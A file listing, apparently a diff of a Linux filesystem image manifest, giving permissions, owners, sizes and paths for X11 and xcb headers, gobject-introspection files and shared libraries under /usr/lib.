+-rw-r--r-- root root 175248 ./usr/include/X11/keysymdef.h
+-rw-r--r-- root root 2769 ./usr/include/X11/keysym.h
+drwxr-xr-x root root 4096 ./usr/include/X11/SM
+-rw-r--r-- root root 2927 ./usr/include/X11/SM/SM.h
+-rw-r--r-- root root 11268 ./usr/include/X11/SM/SMlib.h
+-rw-r--r-- root root 4852 ./usr/include/X11/SM/SMproto.h
+-rw-r--r-- root root 4022 ./usr/include/X11/Sunkeysym.h
+-rw-r--r-- root root 4587 ./usr/include/X11/Xalloca.h
+-rw-r--r-- root root 2951 ./usr/include/X11/Xarch.h
+-rw-r--r-- root root 2518 ./usr/include/X11/Xatom.h
+-rw-r--r-- root root 3817 ./usr/include/X11/Xauth.h
+-rw-r--r-- root root 21346 ./usr/include/X11/Xcms.h
+-rw-r--r-- root root 2401 ./usr/include/X11/Xdefs.h
+-rw-r--r-- root root 6371 ./usr/include/X11/Xdmcp.h
+-rw-r--r-- root root 13612 ./usr/include/X11/XF86keysym.h
+-rw-r--r-- root root 7863 ./usr/include/X11/Xfuncproto.h
+-rw-r--r-- root root 2256 ./usr/include/X11/Xfuncs.h
+-rw-r--r-- root root 20137 ./usr/include/X11/X.h
+-rw-r--r-- root root 30995 ./usr/include/X11/XKBlib.h
+-rw-r--r-- root root 1567 ./usr/include/X11/XlibConf.h
+-rw-r--r-- root root 99532 ./usr/include/X11/Xlib.h
+-rw-r--r-- root root 40597 ./usr/include/X11/Xlibint.h
+-rw-r--r-- root root 506 ./usr/include/X11/Xlib-xcb.h
+-rw-r--r-- root root 1297 ./usr/include/X11/Xlocale.h
+-rw-r--r-- root root 5122 ./usr/include/X11/Xmd.h
+-rw-r--r-- root root 3115 ./usr/include/X11/Xosdefs.h
+-rw-r--r-- root root 4362 ./usr/include/X11/Xos.h
+-rw-r--r-- root root 33693 ./usr/include/X11/Xos_r.h
+-rw-r--r-- root root 7743 ./usr/include/X11/Xpoll.h
+-rw-r--r-- root root 52399 ./usr/include/X11/Xproto.h
+-rw-r--r-- root root 2743 ./usr/include/X11/Xprotostr.h
+-rw-r--r-- root root 5949 ./usr/include/X11/Xregion.h
+-rw-r--r-- root root 10628 ./usr/include/X11/Xresource.h
+-rw-r--r-- root root 1719 ./usr/include/X11/xshmfence.h
+-rw-r--r-- root root 12395 ./usr/include/X11/Xthreads.h
+drwxr-xr-x root root 4096 ./usr/include/X11/Xtrans
+-rw-r--r-- root root 2876 ./usr/include/X11/Xtrans/transport.c
+-rw-r--r-- root root 29462 ./usr/include/X11/Xtrans/Xtrans.c
+-rw-r--r-- root root 8785 ./usr/include/X11/Xtrans/Xtrans.h
+-rw-r--r-- root root 10158 ./usr/include/X11/Xtrans/Xtransint.h
+-rw-r--r-- root root 55410 ./usr/include/X11/Xtrans/Xtranslcl.c
+-rw-r--r-- root root 62655 ./usr/include/X11/Xtrans/Xtranssock.c
+-rw-r--r-- root root 14937 ./usr/include/X11/Xtrans/Xtransutil.c
+-rw-r--r-- root root 21353 ./usr/include/X11/Xutil.h
+-rw-r--r-- root root 1909 ./usr/include/X11/Xw32defs.h
+-rw-r--r-- root root 3872 ./usr/include/X11/XWDFile.h
+-rw-r--r-- root root 3283 ./usr/include/X11/Xwindows.h
+-rw-r--r-- root root 2261 ./usr/include/X11/Xwinsock.h
+drwxr-xr-x root root 4096 ./usr/include/xcb
+-rw-r--r-- root root 2407 ./usr/include/xcb/bigreq.h
+-rw-r--r-- root root 13867 ./usr/include/xcb/composite.h
+-rw-r--r-- root root 9285 ./usr/include/xcb/damage.h
+-rw-r--r-- root root 11924 ./usr/include/xcb/dpms.h
+-rw-r--r-- root root 35759 ./usr/include/xcb/dri2.h
+-rw-r--r-- root root 24241 ./usr/include/xcb/dri3.h
+-rw-r--r-- root root 2981 ./usr/include/xcb/ge.h
+-rw-r--r-- root root 252818 ./usr/include/xcb/glx.h
+-rw-r--r-- root root 19292 ./usr/include/xcb/present.h
+-rw-r--r-- root root 139534 ./usr/include/xcb/randr.h
+-rw-r--r-- root root 27912 ./usr/include/xcb/record.h
+-rw-r--r-- root root 103726 ./usr/include/xcb/render.h
+-rw-r--r-- root root 24483 ./usr/include/xcb/res.h
+-rw-r--r-- root root 16460 ./usr/include/xcb/screensaver.h
+-rw-r--r-- root root 20806 ./usr/include/xcb/shape.h
+-rw-r--r-- root root 17261 ./usr/include/xcb/shm.h
+-rw-r--r-- root root 43756 ./usr/include/xcb/sync.h
+-rw-r--r-- root root 13990 ./usr/include/xcb/xcbext.h
+-rw-r--r-- root root 22260 ./usr/include/xcb/xcb.h
+-rw-r--r-- root root 7137 ./usr/include/xcb/xc_misc.h
+-rw-r--r-- root root 11593 ./usr/include/xcb/xevie.h
+-rw-r--r-- root root 28034 ./usr/include/xcb/xf86dri.h
+-rw-r--r-- root root 58079 ./usr/include/xcb/xfixes.h
+-rw-r--r-- root root 14955 ./usr/include/xcb/xinerama.h
+-rw-r--r-- root root 305557 ./usr/include/xcb/xinput.h
+-rw-r--r-- root root 246448 ./usr/include/xcb/xkb.h
+-rw-r--r-- root root 57187 ./usr/include/xcb/xprint.h
+-rw-r--r-- root root 385800 ./usr/include/xcb/xproto.h
+-rw-r--r-- root root 56622 ./usr/include/xcb/xselinux.h
+-rw-r--r-- root root 7589 ./usr/include/xcb/xtest.h
+-rw-r--r-- root root 57788 ./usr/include/xcb/xv.h
+-rw-r--r-- root root 24530 ./usr/include/xcb/xvmc.h
+drwxr-xr-x root root 4096 ./usr/include/xen
+-rw-r--r-- root root 3553 ./usr/include/xen/evtchn.h
+-rw-r--r-- root root 2619 ./usr/include/xen/gntalloc.h
+-rw-r--r-- root root 10647 ./usr/include/xen/gntdev.h
+-rw-r--r-- root root 4206 ./usr/include/xen/privcmd.h
+-rw-r--r-- root root 35465 ./usr/include/xf86drm.h
+-rw-r--r-- root root 18016 ./usr/include/xf86drmMode.h
+-rw-r--r-- root root 19283 ./usr/include/xtables.h
+-rw-r--r-- root root 75 ./usr/include/xtables-version.h
+-rw-r--r-- root root 16262 ./usr/include/zconf.h
+-rw-r--r-- root root 96239 ./usr/include/zlib.h
+drwxr-xr-x root root 20480 ./usr/lib
+drwxr-xr-x root root 4096 ./usr/lib/cmake
+drwxr-xr-x root root 4096 ./usr/lib/cmake/DBus1
+-rw-r--r-- root root 2883 ./usr/lib/cmake/DBus1/DBus1Config.cmake
+-rw-r--r-- root root 367 ./usr/lib/cmake/DBus1/DBus1ConfigVersion.cmake
+drwxr-xr-x root root 4096 ./usr/lib/cmake/libxml2
+-rw-r--r-- root root 1642 ./usr/lib/cmake/libxml2/libxml2-config.cmake
+drwxr-xr-x root root 4096 ./usr/lib/coreutils
+-rwxr-xr-x root root 14144 ./usr/lib/coreutils/libstdbuf.so
+-rw-r--r-- root root 4280 ./usr/lib/crt1.o
+-rw-r--r-- root root 2808 ./usr/lib/crti.o
+-rw-r--r-- root root 2552 ./usr/lib/crtn.o
+drwxr-xr-x root root 4096 ./usr/lib/dbus-1.0
+drwxr-xr-x root root 4096 ./usr/lib/dbus-1.0/include
+drwxr-xr-x root root 4096 ./usr/lib/dbus-1.0/include/dbus
+-rw-r--r-- root root 2052 ./usr/lib/dbus-1.0/include/dbus/dbus-arch-deps.h
+drwxr-xr-x root root 4096 ./usr/lib/dri
+-rwxr-xr-x root root 12207640 ./usr/lib/dri/i915_dri.so
+-rwxr-xr-x root root 12207640 ./usr/lib/dri/i965_dri.so
+-rwxr-xr-x root root 9195384 ./usr/lib/dri/kms_swrast_dri.so
+-rwxr-xr-x root root 12207640 ./usr/lib/dri/nouveau_vieux_dri.so
+-rwxr-xr-x root root 12207640 ./usr/lib/dri/r200_dri.so
+-rwxr-xr-x root root 12207640 ./usr/lib/dri/radeon_dri.so
+-rwxr-xr-x root root 9195384 ./usr/lib/dri/swrast_dri.so
+-rwxr-xr-x root root 9195384 ./usr/lib/dri/virtio_gpu_dri.so
+-rwxr-xr-x root root 14376 ./usr/lib/e2initrd_helper
+drwxr-xr-x root root 4096 ./usr/libexec
+drwxr-xr-x root root 4096 ./usr/libexec/awk
+-rwxr-xr-x root root 14288 ./usr/libexec/awk/grcat
+-rwxr-xr-x root root 14288 ./usr/libexec/awk/pwcat
+-rwsr-xr-x root messagebus 63592 ./usr/libexec/dbus-daemon-launch-helper
+-rwxr-xr-x root root 43168 ./usr/libexec/frcode
+-rwxr-xr-x root root 14304 ./usr/libexec/gio-querymodules
+-rwxr-xr-x root root 354584 ./usr/libexec/udevadm
+drwxr-xr-x root root 4096 ./usr/lib/gawk
+-rwxr-xr-x root root 39016 ./usr/lib/gawk/filefuncs.so
+-rwxr-xr-x root root 14288 ./usr/lib/gawk/fnmatch.so
+-rwxr-xr-x root root 14304 ./usr/lib/gawk/fork.so
+-rwxr-xr-x root root 14288 ./usr/lib/gawk/inplace.so
+-rwxr-xr-x root root 14208 ./usr/lib/gawk/intdiv.so
+-rwxr-xr-x root root 14256 ./usr/lib/gawk/ordchr.so
+-rwxr-xr-x root root 14192 ./usr/lib/gawk/readdir.so
+-rwxr-xr-x root root 14256 ./usr/lib/gawk/readfile.so
+-rwxr-xr-x root root 14200 ./usr/lib/gawk/revoutput.so
+-rwxr-xr-x root root 14200 ./usr/lib/gawk/revtwoway.so
+-rwxr-xr-x root root 18352 ./usr/lib/gawk/rwarray.so
+-rwxr-xr-x root root 14256 ./usr/lib/gawk/time.so
+-rw-r--r-- root root 7064 ./usr/lib/gcrt1.o
+drwxr-xr-x root root 4096 ./usr/lib/gio
+drwxr-xr-x root root 4096 ./usr/lib/gio/modules
+drwxr-xr-x root root 4096 ./usr/lib/girepository-1.0
+-rw-r--r-- root root 14344 ./usr/lib/girepository-1.0/cairo-1.0.typelib
+-rw-r--r-- root root 712 ./usr/lib/girepository-1.0/DBus-1.0.typelib
+-rw-r--r-- root root 560 ./usr/lib/girepository-1.0/DBusGLib-1.0.typelib
+-rw-r--r-- root root 348 ./usr/lib/girepository-1.0/fontconfig-2.0.typelib
+-rw-r--r-- root root 420 ./usr/lib/girepository-1.0/freetype2-2.0.typelib
+-rw-r--r-- root root 353336 ./usr/lib/girepository-1.0/Gio-2.0.typelib
+-rw-r--r-- root root 27752 ./usr/lib/girepository-1.0/GIRepository-2.0.typelib
+-rw-r--r-- root root 948 ./usr/lib/girepository-1.0/GL-1.0.typelib
+-rw-r--r-- root root 191884 ./usr/lib/girepository-1.0/GLib-2.0.typelib
+-rw-r--r-- root root 1340 ./usr/lib/girepository-1.0/GModule-2.0.typelib
+-rw-r--r-- root root 58972 ./usr/lib/girepository-1.0/GObject-2.0.typelib
+-rw-r--r-- root root 668 ./usr/lib/girepository-1.0/libxml2-2.0.typelib
+-rw-r--r-- root root 59380 ./usr/lib/girepository-1.0/Vulkan-1.0.typelib
+-rw-r--r-- root root 176 ./usr/lib/girepository-1.0/win32-1.0.typelib
+-rw-r--r-- root root 240 ./usr/lib/girepository-1.0/xfixes-4.0.typelib
+-rw-r--r-- root root 464 ./usr/lib/girepository-1.0/xft-2.0.typelib
+-rw-r--r-- root root 836 ./usr/lib/girepository-1.0/xlib-2.0.typelib
+-rw-r--r-- root root 640 ./usr/lib/girepository-1.0/xrandr-1.3.typelib
+drwxr-xr-x root root 4096 ./usr/lib/glib-2.0
+drwxr-xr-x root root 4096 ./usr/lib/glib-2.0/include
+-rw-r--r-- root root 5649 ./usr/lib/glib-2.0/include/glibconfig.h
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection/giscanner
+-rw-r--r-- root root 3526 ./usr/lib/gobject-introspection/giscanner/annotationmain.py
+-rw-r--r-- root root 101376 ./usr/lib/gobject-introspection/giscanner/annotationparser.py
+-rw-r--r-- root root 43411 ./usr/lib/gobject-introspection/giscanner/ast.py
+-rw-r--r-- root root 5852 ./usr/lib/gobject-introspection/giscanner/cachestore.py
+-rw-r--r-- root root 19524 ./usr/lib/gobject-introspection/giscanner/ccompiler.py
+-rw-r--r-- root root 6190 ./usr/lib/gobject-introspection/giscanner/codegen.py
+-rw-r--r-- root root 3268 ./usr/lib/gobject-introspection/giscanner/docmain.py
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection/giscanner/doctemplates
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs
+-rw-r--r-- root root 567 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/base.tmpl
+-rw-r--r-- root root 113 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/callback.tmpl
+-rw-r--r-- root root 29 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/class.tmpl
+-rw-r--r-- root root 847 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/default.tmpl
+-rw-r--r-- root root 890 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/_doc.tmpl
+-rw-r--r-- root root 313 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/enum.tmpl
+-rw-r--r-- root root 113 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/function.tmpl
+-rw-r--r-- root root 5189 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/_index.tmpl
+-rw-r--r-- root root 29 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/interface.tmpl
+-rw-r--r-- root root 120 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/_methods.tmpl
+-rw-r--r-- root root 1899 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/_method.tmpl
+-rw-r--r-- root root 32 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/method.tmpl
+-rw-r--r-- root root 1278 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/namespace.tmpl
+-rw-r--r-- root root 1123 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/_properties.tmpl
+-rw-r--r-- root root 652 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/_signals.tmpl
+-rw-r--r-- root root 176 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/_staticmethods.tmpl
+-rw-r--r-- root root 183 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/_vfuncs.tmpl
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard
+-rw-r--r-- root root 765 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/base.tmpl
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C
+-rw-r--r-- root root 141 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/callback.tmpl
+-rw-r--r-- root root 57 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/class.tmpl
+-rw-r--r-- root root 35 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/constructor.tmpl
+-rw-r--r-- root root 30 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/default.tmpl
+-rw-r--r-- root root 56 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/enum.tmpl
+-rw-r--r-- root root 30 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/field.tmpl
+-rw-r--r-- root root 1654 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/function.tmpl
+-rw-r--r-- root root 57 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/interface.tmpl
+-rw-r--r-- root root 1982 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/class.tmpl
+-rw-r--r-- root root 35 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/method.tmpl
+-rw-r--r-- root root 35 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/namespace.tmpl
+-rw-r--r-- root root 191 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/property.tmpl
+-rw-r--r-- root root 30 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/record.tmpl
+-rw-r--r-- root root 196 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/signal.tmpl
+-rw-r--r-- root root 139 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/vfunc.tmpl
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs
+-rw-r--r-- root root 780 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/callback.tmpl
+-rw-r--r-- root root 863 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/class.tmpl
+-rw-r--r-- root root 35 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/constructor.tmpl
+-rw-r--r-- root root 30 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/default.tmpl
+-rw-r--r-- root root 511 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/enum.tmpl
+-rw-r--r-- root root 423 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/field.tmpl
+-rw-r--r-- root root 1469 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/function.tmpl
+-rw-r--r-- root root 558 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/interface.tmpl
+-rw-r--r-- root root 35 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/method.tmpl
+-rw-r--r-- root root 61 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/namespace.tmpl
+-rw-r--r-- root root 423 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/property.tmpl
+-rw-r--r-- root root 56 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/record.tmpl
+-rw-r--r-- root root 1185 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/signal.tmpl
+-rw-r--r-- root root 746 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/vfunc.tmpl
+-rw-r--r-- root root 551 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/namespace.tmpl
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python
+-rw-r--r-- root root 849 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/callback.tmpl
+-rw-r--r-- root root 593 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/class.tmpl
+-rw-r--r-- root root 35 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/constructor.tmpl
+-rw-r--r-- root root 30 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/default.tmpl
+-rw-r--r-- root root 264 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/enum.tmpl
+-rw-r--r-- root root 30 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/field.tmpl
+-rw-r--r-- root root 1572 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/function.tmpl
+-rw-r--r-- root root 535 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/interface.tmpl
+-rw-r--r-- root root 35 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/method.tmpl
+-rw-r--r-- root root 61 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/namespace.tmpl
+-rw-r--r-- root root 407 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/property.tmpl
+-rw-r--r-- root root 56 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/record.tmpl
+-rw-r--r-- root root 1235 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/signal.tmpl
+-rw-r--r-- root root 849 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/vfunc.tmpl
+-rw-r--r-- root root 50143 ./usr/lib/gobject-introspection/giscanner/docwriter.py
+-rw-r--r-- root root 10639 ./usr/lib/gobject-introspection/giscanner/dumper.py
+-rw-r--r-- root root 21322 ./usr/lib/gobject-introspection/giscanner/gdumpparser.py
+-rw-r--r-- root root 28229 ./usr/lib/gobject-introspection/giscanner/girparser.py
+-rw-r--r-- root root 28222 ./usr/lib/gobject-introspection/giscanner/girwriter.py
+-rwxr-xr-x root root 101672 ./usr/lib/gobject-introspection/giscanner/_giscanner.cpython-38-x86_64-linux-gnu.so
+-rw-r--r-- root root 1105 ./usr/lib/gobject-introspection/giscanner/__init__.py
+-rw-r--r-- root root 9398 ./usr/lib/gobject-introspection/giscanner/introspectablepass.py
+-rw-r--r-- root root 2554 ./usr/lib/gobject-introspection/giscanner/libtoolimporter.py
+-rw-r--r-- root root 65300 ./usr/lib/gobject-introspection/giscanner/maintransformer.py
+-rw-r--r-- root root 392 ./usr/lib/gobject-introspection/giscanner/mdextensions.py
+-rw-r--r-- root root 7612 ./usr/lib/gobject-introspection/giscanner/message.py
+-rw-r--r-- root root 3756 ./usr/lib/gobject-introspection/giscanner/msvccompiler.py
+-rw-r--r-- root root 2283 ./usr/lib/gobject-introspection/giscanner/pkgconfig.py
+-rw-r--r-- root root 27285 ./usr/lib/gobject-introspection/giscanner/scannermain.py
+-rw-r--r-- root root 4790 ./usr/lib/gobject-introspection/giscanner/sectionparser.py
+-rw-r--r-- root root 6259 ./usr/lib/gobject-introspection/giscanner/shlibs.py
+-rw-r--r-- root root 9628 ./usr/lib/gobject-introspection/giscanner/sourcescanner.py
+-rw-r--r-- root root 5699 ./usr/lib/gobject-introspection/giscanner/testcodegen.py
+-rw-r--r-- root root 44647 ./usr/lib/gobject-introspection/giscanner/transformer.py
+-rw-r--r-- root root 10521 ./usr/lib/gobject-introspection/giscanner/utils.py
+-rw-r--r-- root root 23 ./usr/lib/gobject-introspection/giscanner/_version.py
+-rw-r--r-- root root 5798 ./usr/lib/gobject-introspection/giscanner/xmlwriter.py
+-rwxr-xr-x root root 38904 ./usr/lib/libacl.so.1.1.2253
+lrwxrwxrwx root root 18 ./usr/lib/libacl.so.1 -> libacl.so.1.1.2253
+lrwxrwxrwx root root 18 ./usr/lib/libacl.so -> libacl.so.1.1.2253
+lrwxrwxrwx root root 21 ./usr/lib/libanl.so -> ../../lib/libanl.so.1
+-rwxr-xr-x root root 34856 ./usr/lib/libasm-0.179.so
+lrwxrwxrwx root root 15 ./usr/lib/libasm.so.1 -> libasm-0.179.so
+lrwxrwxrwx root root 11 ./usr/lib/libasm.so -> libasm.so.1
+-rwxr-xr-x root root 26512 ./usr/lib/libattr.so.1.1.2448
+lrwxrwxrwx root root 19 ./usr/lib/libattr.so.1 -> libattr.so.1.1.2448
+lrwxrwxrwx root root 19 ./usr/lib/libattr.so -> libattr.so.1.1.2448
+-rwxr-xr-x root root 1310600 ./usr/lib/libbfd-2.34.0.20200220.so
+lrwxrwxrwx root root 25 ./usr/lib/libbfd.so -> libbfd-2.34.0.20200220.so
+lrwxrwxrwx root root 27 ./usr/lib/libblkid.so -> ../../lib/libblkid.so.1.1.0
+lrwxrwxrwx root root 30 ./usr/lib/libBrokenLocale.so -> ../../lib/libBrokenLocale.so.1
+-rwxr-xr-x root root 387680 ./usr/lib/libbtrfs.so.0.1
+lrwxrwxrwx root root 15 ./usr/lib/libbtrfs.so.0 -> libbtrfs.so.0.1
+lrwxrwxrwx root root 15 ./usr/lib/libbtrfs.so -> libbtrfs.so.0.1
+-rwxr-xr-x root root 34784 ./usr/lib/libbtrfsutil.so.1.2.0
+lrwxrwxrwx root root 21 ./usr/lib/libbtrfsutil.so.1 -> libbtrfsutil.so.1.2.0
+lrwxrwxrwx root root 21 ./usr/lib/libbtrfsutil.so -> libbtrfsutil.so.1.2.0
+-rwxr-xr-x root root 74656 ./usr/lib/libbz2.so.1.0.6
+lrwxrwxrwx root root 15 ./usr/lib/libbz2.so.1 -> libbz2.so.1.0.6
+lrwxrwxrwx root root 15 ./usr/lib/libbz2.so -> libbz2.so.1.0.6
+-rwxr-xr-x root root 42752 ./usr/lib/libcairo-gobject.so.2.11600.0
+lrwxrwxrwx root root 29 ./usr/lib/libcairo-gobject.so.2 -> libcairo-gobject.so.2.11600.0
+lrwxrwxrwx root root 29 ./usr/lib/libcairo-gobject.so -> libcairo-gobject.so.2.11600.0
+-rwxr-xr-x root root 156384 ./usr/lib/libcairo-script-interpreter.so.2.11600.0
+lrwxrwxrwx root root 40 ./usr/lib/libcairo-script-interpreter.so.2 -> libcairo-script-interpreter.so.2.11600.0
+lrwxrwxrwx root root 40 ./usr/lib/libcairo-script-interpreter.so -> libcairo-script-interpreter.so.2.11600.0
+-rwxr-xr-x root root 1291312 ./usr/lib/libcairo.so.2.11600.0
+lrwxrwxrwx root root 21 ./usr/lib/libcairo.so.2 -> libcairo.so.2.11600.0
+lrwxrwxrwx root root 21 ./usr/lib/libcairo.so -> libcairo.so.2.11600.0
+lrwxrwxrwx root root 28 ./usr/lib/libcap-ng.so -> ../../lib/libcap-ng.so.0.0.0
+-rw-r--r-- root root 76674 ./usr/lib/libc_nonshared.a
+-rwxr-xr-x root root 2872136 ./usr/lib/libcrypto.so.1.1
+lrwxrwxrwx root root 16 ./usr/lib/libcrypto.so -> libcrypto.so.1.1
+-rwxr-xr-x root root 202648 ./usr/lib/libcrypt.so.2.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libcrypt.so.2 -> libcrypt.so.2.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libcrypt.so -> libcrypt.so.2.0.0
+-rw-r--r-- root root 247 ./usr/lib/libc.so
+-rwxr-xr-x root root 116736 ./usr/lib/libctf-nobfd.so.0.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libctf-nobfd.so.0 -> libctf-nobfd.so.0.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libctf-nobfd.so -> libctf-nobfd.so.0.0.0
+-rwxr-xr-x root root 116728 ./usr/lib/libctf.so.0.0.0
+lrwxrwxrwx root root 15 ./usr/lib/libctf.so.0 -> libctf.so.0.0.0
+lrwxrwxrwx root root 15 ./usr/lib/libctf.so -> libctf.so.0.0.0
+lrwxrwxrwx root root 13 ./usr/lib/libcurses.so -> libncurses.so
+-rwxr-xr-x root root 1267928 ./usr/lib/libdb-5.3.so
+lrwxrwxrwx root root 12 ./usr/lib/libdb-5.so -> libdb-5.3.so
+lrwxrwxrwx root root 12 ./usr/lib/libdb.so -> libdb-5.3.so
+-rwxr-xr-x root root 346240 ./usr/lib/libdbus-1.so.3.19.11
+lrwxrwxrwx root root 20 ./usr/lib/libdbus-1.so.3 -> libdbus-1.so.3.19.11
+lrwxrwxrwx root root 20 ./usr/lib/libdbus-1.so -> libdbus-1.so.3.19.11
+lrwxrwxrwx root root 20 ./usr/lib/libdl.so -> ../../lib/libdl.so.2
+-rwxr-xr-x root root 42824 ./usr/lib/libdrm_amdgpu.so.1.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libdrm_amdgpu.so.1 -> libdrm_amdgpu.so.1.0.0
+lrwxrwxrwx root root 18 ./usr/lib/libdrm_amdgpu.so -> libdrm_amdgpu.so.1
+-rwxr-xr-x root root 30536 ./usr/lib/libdrm_etnaviv.so.1.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libdrm_etnaviv.so.1 -> libdrm_etnaviv.so.1.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libdrm_etnaviv.so -> libdrm_etnaviv.so.1
+-rwxr-xr-x root root 34712 ./usr/lib/libdrm_freedreno.so.1.0.0
+lrwxrwxrwx root root 25 ./usr/lib/libdrm_freedreno.so.1 -> libdrm_freedreno.so.1.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libdrm_freedreno.so -> libdrm_freedreno.so.1
+-rwxr-xr-x root root 146920 ./usr/lib/libdrm_intel.so.1.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libdrm_intel.so.1 -> libdrm_intel.so.1.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libdrm_intel.so -> libdrm_intel.so.1
+-rwxr-xr-x root root 34632 ./usr/lib/libdrm_nouveau.so.2.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libdrm_nouveau.so.2 -> libdrm_nouveau.so.2.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libdrm_nouveau.so -> libdrm_nouveau.so.2
+-rwxr-xr-x root root 14080 ./usr/lib/libdrm_omap.so.1.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libdrm_omap.so.1 -> libdrm_omap.so.1.0.0
+lrwxrwxrwx root root 16 ./usr/lib/libdrm_omap.so -> libdrm_omap.so.1
+-rwxr-xr-x root root 55184 ./usr/lib/libdrm_radeon.so.1.0.1
+lrwxrwxrwx root root 22 ./usr/lib/libdrm_radeon.so.1 -> libdrm_radeon.so.1.0.1
+lrwxrwxrwx root root 18 ./usr/lib/libdrm_radeon.so -> libdrm_radeon.so.1
+-rwxr-xr-x root root 79752 ./usr/lib/libdrm.so.2.4.0
+lrwxrwxrwx root root 15 ./usr/lib/libdrm.so.2 -> libdrm.so.2.4.0
+lrwxrwxrwx root root 11 ./usr/lib/libdrm.so -> libdrm.so.2
+-rwxr-xr-x root root 650160 ./usr/lib/libdw-0.179.so
+lrwxrwxrwx root root 14 ./usr/lib/libdw.so.1 -> libdw-0.179.so
+lrwxrwxrwx root root 10 ./usr/lib/libdw.so -> libdw.so.1
+-rwxr-xr-x root root 100384 ./usr/lib/libelf-0.179.so
+lrwxrwxrwx root root 15 ./usr/lib/libelf.so.1 -> libelf-0.179.so
+lrwxrwxrwx root root 11 ./usr/lib/libelf.so -> libelf.so.1
